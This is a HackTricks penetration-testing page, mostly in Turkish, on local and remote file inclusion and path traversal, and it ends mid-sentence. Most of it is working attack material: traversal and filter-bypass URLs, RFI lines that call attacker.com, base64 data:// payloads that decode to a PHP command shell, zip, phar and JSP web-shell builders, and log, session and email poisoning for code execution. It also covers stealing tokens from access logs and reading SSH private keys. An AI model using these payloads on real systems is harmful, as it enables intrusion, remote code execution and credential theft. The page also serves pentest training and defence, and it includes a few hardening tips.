File Inclusion/Path traversal

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

File Inclusion

Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu yazabilir ve sunucunun çalıştırmasını sağlayabilirsiniz). php’de bu varsayılan olarak devre dışıdır (allow_url_include).
Local File Inclusion (LFI): Sunucu yerel bir dosya yükler.

Bu zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.

Etkilenen PHP fonksiyonları: require, require_once, include, include_once

Bu zafiyeti exploit etmek için ilginç bir araç: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Birkaç nix LFI listesini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \ deneyin.
Ayrıca ../../../../../ eklemeyi deneyin.

/etc/password dosyasını (zafiyetin var olup olmadığını kontrol etmek için) bulmak için çeşitli teknikler kullanan bir liste here adresinde bulunabilir.

Windows

Farklı wordlists birleşimi:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \ deneyin.
Ayrıca C:/’yi kaldırıp ../../../../../ eklemeyi deneyin.

/boot.ini dosyasını (zafiyetin var olup olmadığını kontrol etmek için) bulmak için çeşitli teknikler kullanan bir liste here adresinde bulunabilir.

OS X

Linux LFI listesini kontrol edin.

Temel LFI ve bypasses

Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion’a da uygulanabilir (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences özyinelemeli olmayan şekilde çıkarıldı

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass, verilen string’in sonuna daha fazla karakter eklenmesini atlatır (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Bu PHP 5.4’ten beri çözüldü

Kodlama

Standart dışı kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Mevcut klasörden

Belki back-end klasör yolunu kontrol ediyordur:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Sunucuda Dosya Sistemi Dizinlerini Keşfetme

Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin tespit edilmesini ve belirli klasörlerin varlığını sorgulamayı içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem verilmiştir:

  1. Dizin Derinliğini Belirleyin: Mevcut dizininizin derinliğini, /etc/passwd dosyasını başarıyla çekerek saptayın (sunucu Linux tabanlıysa geçerlidir). Aşağıdaki gibi yapılandırılmış bir örnek URL üç seviye derinliği gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Klasörleri Sorgula: Şüphelenilen klasörün adını (örn. private) URL’ye ekleyin, sonra /etc/passwd’e geri dönün. Ek dizin seviyesi, depth’i bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Sonuçları Yorumlama: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
  • Hata / Çıktı Yok: Belirtilen konumda private klasörü muhtemelen mevcut değil.
  • /etc/passwd içeriği: private klasörünün varlığı doğrulanır.
  1. Özyinelemeli Keşif: Keşfedilen klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.

Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload’u buna göre ayarlayın. Örneğin, geçerli dizin derinliği 3 ise /var/www/ içinde private dizini olup olmadığını kontrol etmek için şu payload’u kullanın:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedeflenen dosyayı göstermeye devam eden bir dosya yolu oluşturmaktır.

In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • When the last 6 characters are passwd, appending a / (making it passwd/) doesn’t change the targeted file.
  • Similarly, if .php is appended to a file path (like shellcode.php), adding a /. at the end will not alter the file being accessed.

Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sık hedef olan /etc/passwd’e erişmek için path truncation kullanımını gösterir:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Bu senaryolarda gereken traversals sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) ile ekstra dot segments ve karakterlerin kombinasyonu dosya sisteminde gezinmek için kullanılabilir; sunucunun eklediği dizeleri (ör. .php) etkisiz hale getirerek istenen yolu elde etmeyi sağlar.
  • Determining the Required Number of Traversals: Deneme-yanılma yoluyla, kök dizine ve ardından /etc/passwd’e ulaşmak için gerekli ../ dizilerinin tam sayısı bulunabilir; böylece sunucunun eklediği dizeler (ör. .php) etkisizleştirilirken istenen yol (/etc/passwd) korunur.
  • Starting with a Fake Directory: Yolu var olmayan bir dizinle (ör. a/) başlatmak yaygın bir uygulamadır. Bu teknik, önlem almak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.

Path truncation techniques uygulanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php’de bu varsayılan olarak devre dışıdır çünkü allow_url_include Off. Çalışması için On olması gerekir; bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Eğer herhangi bir nedenle allow_url_include On ise, ancak PHP dış web sayfalarına erişimi filtreliyorsa, bu gönderiye göre, örneğin base64 ile data protokolünü kullanarak bir b64 PHP kodunu dekode edip RCE elde edebilirsiniz:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Önceki kodda, son +.txt eklenmişti çünkü attacker bir stringin .txt ile bitmesine ihtiyaç duyuyordu; bu yüzden string bununla biter ve b64 decode sonrası o kısım sadece çöp dönecek ve gerçek PHP kodu dahil edilir (ve dolayısıyla çalıştırılır).

Başka bir örnek php:// protokolünü kullanmayan şöyle olurdu:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Kök öğesi

Python’da, aşağıdaki gibi bir kodda:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Kullanıcı absolute path biçiminde bir file_name gönderirse, önceki yol sadece kaldırılır:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Bu, the docs’a göre kasıtlı bir davranıştır:

Eğer bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.

Java Dizinleri Listeleme

Görünüşe göre Java’da bir Path Traversal varsa ve bir dosya yerine bir dizin isterseniz, dizinin listelemesi döndürülüyor. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).

En Çok Kullanılan 25 Parametre

İşte local file inclusion (LFI) zafiyetine açık olabilecek en çok kullanılan 25 parametrenin listesi (kaynak: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI: PHP wrappers ve protokoller kullanılarak

php://filter

PHP filtreleri, veriler okunmadan veya yazılmadan önce temel veri üzerinde değişiklik işlemleri uygulamaya izin verir. Filtrelerin 5 kategorisi vardır:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Veriden etiketleri kaldırır ( “<” ve “>” karakterleri arasındaki her şey)
  • Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Farklı bir kodlamaya dönüştürür(convert.iconv.<input_enc>.<output_enc>) . Desteklenen tüm kodlamaların listesini almak için konsolda şunu çalıştırın: iconv -l

Warning

convert.iconv.* dönüşüm filtresini kötüye kullanarak rastgele metin üretebilirsiniz, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metni işlemesini sağlamak için faydalı olabilir. Daha fazla bilgi için LFI2RCE via php filters sayfasına bakın.

  • Compression Filters
  • zlib.deflate: İçeriği sıkıştırır (çok fazla bilgi sızdırıyorsanız faydalı)
  • zlib.inflate: Veriyi açar
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Diğer Filtreler
  • PHP’de var_dump(stream_get_filters()); çalıştırdığınızda birkaç beklenmedik filtre bulabilirsiniz:
  • consumed
  • dechunk: HTTP chunked encoding’i tersine çevirir
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” kısmı büyük/küçük harfe duyarsızdır

php filters’ı oracle olarak kullanarak rastgele dosyaları okumak

In this post bir teknik öneriyor: sunucudan çıktı geri verilmeden yerel bir dosyayı okumak. Bu teknik, php filters’ı oracle olarak kullanarak dosyanın boolean exfiltration (char by char) üzerine kuruludur. Bunun nedeni php filters’ın bir metni php’nin bir exception fırlatacağı kadar büyütebilmesidir.

Orijinal yazıda tekniğin detaylı açıklamasını bulabilirsiniz, burada kısa bir özet:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • Bu, başlangıç harfi doğru tahmin edildiğinde php’nin bir error tetikleyecek kadar büyük bir metin üretmek için kullanılacak.
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • Bu, önceki ile (ve tahmin edilen harfe bağlı diğer filterlerle) birleştirildiğinde, metnin başındaki bir harfi, onu hexadecimal bir karakter olmaktan çıkaracak kadar çok dönüşüm yaptığımız zamanı görerek tahmin etmemizi sağlar. Çünkü eğer hex ise dechunk onu silmez ve başlangıç bombası php error’ı tetikler.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Başlangıçta rot13 gibi diğer dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec’ler diğer harfleri hex aralığına taşımak için kullanılabilir).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • Başlangıç karakteri bir sayıysa, onu base64 encode etmek ve sayıyı leak etmek için ilk 2 karakteri leak etmek gerekir.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • Son problem ilk harften daha fazlasını nasıl leak edeceğimizi görmektir. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi order memory filters kullanılarak karakterlerin sırasını değiştirmek ve metnin diğer harflerini ilk pozisyona getirmek mümkündür.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
  • Ve daha fazla veri elde edebilmek için fikir, başlangıçta 2 byte çöp veri üretmek için convert.iconv.UTF16.UTF16 uygulamak, sonra UCS-4LE uygulayıp bunu sonraki 2 byte ile pivot yapmak ve veriyi çöp veriye kadar silmek (bu, ilk metnin ilk 2 baytını kaldırır). Bu işlemi istediğiniz leak bitine ulaşana kadar devam ettirin.

Yazıda bu işlemi otomatikleştiren bir araç da leak olarak paylaşıldı: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ayrıca php://stdin, php://stdout ve php://stderr’i sırasıyla dosya tanımlayıcıları 0, 1 ve 2’ye erişmek için kullanabilirsiniz (bunun bir saldırıda nasıl işe yarayacağı belli değil)

zip:// and rar://

İçine bir PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve erişin.
rar protocol’ü kötüye kullanabilmek için özel olarak etkinleştirilmesi gerekir.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Bu protokolün php yapılandırmaları allow_url_open ve allow_url_include tarafından kısıtlandığını unutmayın.

expect://

Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Payload’unuzu POST parametrelerinde belirtin:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Bir .phar dosyası, bir web uygulaması dosya yükleme için include gibi fonksiyonları kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıdaki PHP kod parçası bir .phar dosyasının oluşturulmasını gösterir:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:

php --define phar.readonly=0 create_path.php

Çalıştırıldığında test.phar adlı bir dosya oluşturulacak; bu dosya potansiyel olarak Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir.

LFI sadece içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — örneğin file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() veya filesize() gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet phar protokolü ile dosya okunmasıyla ilişkilidir.

.phar dosyaları bağlamında deserialization zafiyetlerinin istismarını ayrıntılı olarak anlamak için aşağıdaki belgeye bakın:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Çok kısa özet: PHP heap’inde bir 3 byte overflow kötüye kullanılarak anspecific boyuttaki free chunk zinciri alter the chain of free chunks olacak şekilde değiştirildi ve böylece herhangi bir adrese write anything in any address yapılabildi; bu yüzden system çağırmak için bir hook eklendi.
Daha fazla php filter kötüye kullanılarak belirli boyutlarda chunk’lar alloc etmek mümkün oldu.

More protocols

Daha fazla olası protocols to include here:

  • php://memory and php://temp — Bellekte veya geçici bir dosyada yazma (bir LFI saldırısında bunun nasıl işe yarayabileceğinden emin değilim)
  • file:// — Yerel dosya sistemine erişim
  • http:// — HTTP(s) URL’lerine erişim
  • ftp:// — FTP(s) URL’lerine erişim
  • zlib:// — Sıkıştırma akışları
  • glob:// — Desene uyan yol adlarını bulma (yazdırılabilir hiçbir şey döndürmediği için burada pek kullanışlı değil)
  • ssh2:// — Secure Shell 2
  • ogg:// — Ses akışları (herhangi bir dosyayı okumak için kullanışlı değil)

LFI via PHP’s ‘assert’

PHP’de ‘assert’ fonksiyonu ile ilgili durumlarda Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü ‘assert’ string içindeki kodu çalıştırabilir. Özellikle directory traversal karakterleri gibi “..” içeren input kontrol ediliyor ama düzgün şekilde sanitize edilmiyorsa bu sorun oluşturur.

Örneğin, aşağıdaki gibi directory traversal’ı önlemeye yönelik PHP kodu yazılmış olabilir:

assert("strpos('$file', '..') === false") or die("");

Bu, traversal’ı engellemeyi amaçlasa da istemeden code injection için bir vektör oluşturur. file contents okumak için bunu istismar eden bir attacker şu şekilde kullanabilir:

' and die(highlight_file('/etc/passwd')) or '

Benzer şekilde, herhangi bir sistem komutunu çalıştırmak için şunu kullanabilirsiniz:

' and die(system("id")) or '

Önemli: URL-encode these payloads.

PHP Blind Path Traversal

Warning

Bu teknik, bir PHP functionın file pathini control ettiğiniz ve bu fonksiyonun bir filea erişeceği ama dosya içeriğini görmeyeceğiniz durumlarla ilgilidir (örn. basit bir çağrı file()) — içerik gösterilmez.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Özetle, teknik dosya içeriğini o kadar büyük yapmak için “UCS-4LE” encoding kullanıyor ki PHP function opening dosyayı açarken bir hata tetikleniyor.

Daha sonra ilk karakteri leak etmek için filtre dechunk kullanılıyor; ayrıca base64 veya rot13 gibi diğer filtreler ve son olarak convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE filtreleri diğer karakterleri başa yerleştirmek ve onları leak etmek için kullanılıyor.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Teknik detaylar için bahsedilen yazıya bakın!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Sunucu tarafı kodu (dosyaları ingest/ upload eden) hedef yolunu kullanıcı kontrollü veriyi (ör. bir filename veya URL) canonicalise edip doğrulamadan oluşturduğunda, .. segmentleri ve absolute paths amaçlanan dizinden kaçıp arbitrary file write’a sebep olabilir. Eğer payload’ı web-exposed bir dizine koyabiliyorsanız, genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz.

Typical exploitation workflow:

  • Bir endpoint veya background worker içinde path/filename kabul edip diske içerik yazan bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
  • web-exposed dizinleri belirleyin. Common examples:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Amaçlanan storage dizininden webroot’a çıkacak şekilde bir traversal path craft edin ve webshell içeriğinizi dahil edin.
  • Bıraktığınız payload’a tarayıcıyla gidin ve komutları çalıştırın.

Notlar:

  • Yazma işlemini yapan vulnerable servis genellikle HTTP dışı bir portta dinliyor olabilir (örn. TCP 4004’te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload’ınızı serve edecektir.
  • Java stack’lerde bu dosya yazımları genelde basit File/Paths birleştirmesiyle uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Bu tür açıkları önleyen sertleştirmeler:

  • Canonical bir yola çözümlen ve bunun allow-listed bir temel dizinin altkümesi olduğunu zorunlu kılın.
  • .., absolute roots veya drive harfleri içeren herhangi bir yolu reddedin; tercih olarak üretilmiş dosya adlarını kullanın.
  • Yazar sürecini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini served root’lardan ayırın.

Remote File Inclusion

Daha önce açıklandı, follow this link.

Apache/Nginx günlük dosyası üzerinden

Eğer Apache veya Nginx sunucusu include fonksiyonu içinde LFI’ye açık ise /var/log/apache2/access.log or /var/log/nginx/access.log dosyalarına erişmeyi deneyebilir, user agent içine veya bir GET parameter içine <?php system($_GET['c']); ?> gibi bir php shell yerleştirip o dosyayı include edebilirsiniz.

Warning

Not: shell için çift tırnak kullanırsanız (tek tırnak yerine), çift tırnaklar “quote;” stringine dönüştürülecek, orada PHP bir hata fırlatacaktır ve başka hiçbir şey çalıştırılmayacaktır.

Ayrıca, payload’u doğru yazdığınızdan emin olun; aksi takdirde PHP günlük dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacaktır.

Bu diğer log’larda da yapılabilir ancak dikkatli olun, log içindeki kod URL encoded olabilir ve bu Shell’i bozabilir. Header authorisation “basic” Base64 olarak “user:password” içerir ve loglarda decode edilir. PHPShell bu header içine yerleştirilebilir.
Diğer olası log yolları:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Erişim loglarını okuyarak GET tabanlı auth tokens elde etme (token replay)

Birçok uygulama yanlışlıkla session/auth tokens’i GET üzerinden kabul eder (ör. AuthenticationToken, token, sid). Eğer web sunucusu loglarına path traversal/LFI primitive ile erişiminiz varsa, bu tokenları access logs’tan çalıp replay ederek authentication’ı tamamen atlayabilirsiniz.

Nasıl yapılır:

  • Traversal/LFI’yi kullanarak web server access log’u okuyun. Yaygın konumlar:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Bazı endpoints dosya okumasını Base64-encoded olarak döndürebilir. Eğer öyleyse, yerel olarak decode edin ve log satırlarını inceleyin.
  • Bir token parametresi içeren GET isteklerini grep’leyin ve değerini yakalayın, sonra uygulamanın giriş noktasına karşı replay edin.

Örnek akış (genel):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Gövde Base64 ise decode edin, sonra yakalanmış bir token’ı replay edin:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notlar:

  • Tokens in URLs varsayılan olarak loglanır; üretim sistemlerinde bearer token’ları GET ile asla kabul etmeyin.
  • Eğer uygulama birden fazla token ismini destekliyorsa, AuthenticationToken, token, sid, access_token gibi ortak anahtarları arayın.
  • Günlüklere leaked olmuş olabilecek herhangi bir token’ı yenileyin.

E-posta ile

Bir mail gönderin dahili bir hesaba (user@localhost) PHP payload’unuzu içerecek şekilde, örneğin <?php echo system($_REQUEST["cmd"]); ?> ve kullanıcının mailini include etmeyi deneyin şu yollarla: /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME>

/proc/*/fd/* üzerinden

  1. Birçok shell yükleyin (örneğin: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID = işlemin PID’si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (o da brute force ile bulunabilir)

/proc/self/environ üzerinden

Bir log dosyası gibi, payload’u User-Agent içine gönderin; /proc/self/environ dosyası içinde yansıtılacaktır.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Yükleme yoluyla

Eğer bir dosya yükleyebiliyorsanız, shell payload’u içine enjekte edin (ör. : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf’lerin metadata’sına enjekte etmek en iyisidir

Zip file yüklemesi yoluyla

Sıkıştırılmış bir PHP shell içeren bir ZIP file yükleyin ve erişin:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions üzerinden

Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP’de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Cookie’yi şu değere ayarlayın: <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI’yi kullanarak PHP oturum dosyasını dahil edin.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh üzerinden

Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi dene

Üzerinden vsftpd logları

FTP sunucusu vsftpd için loglar /var/log/vsftpd.log konumunda bulunur. Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, şu adımlar dikkate alınabilir:

  1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte et.
  2. Enjeksiyon sonrası, sunucu loglarını /var/log/vsftpd.log konumundan almak için LFI’yi kullan.

php base64 filtresi (base64 kullanarak)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:

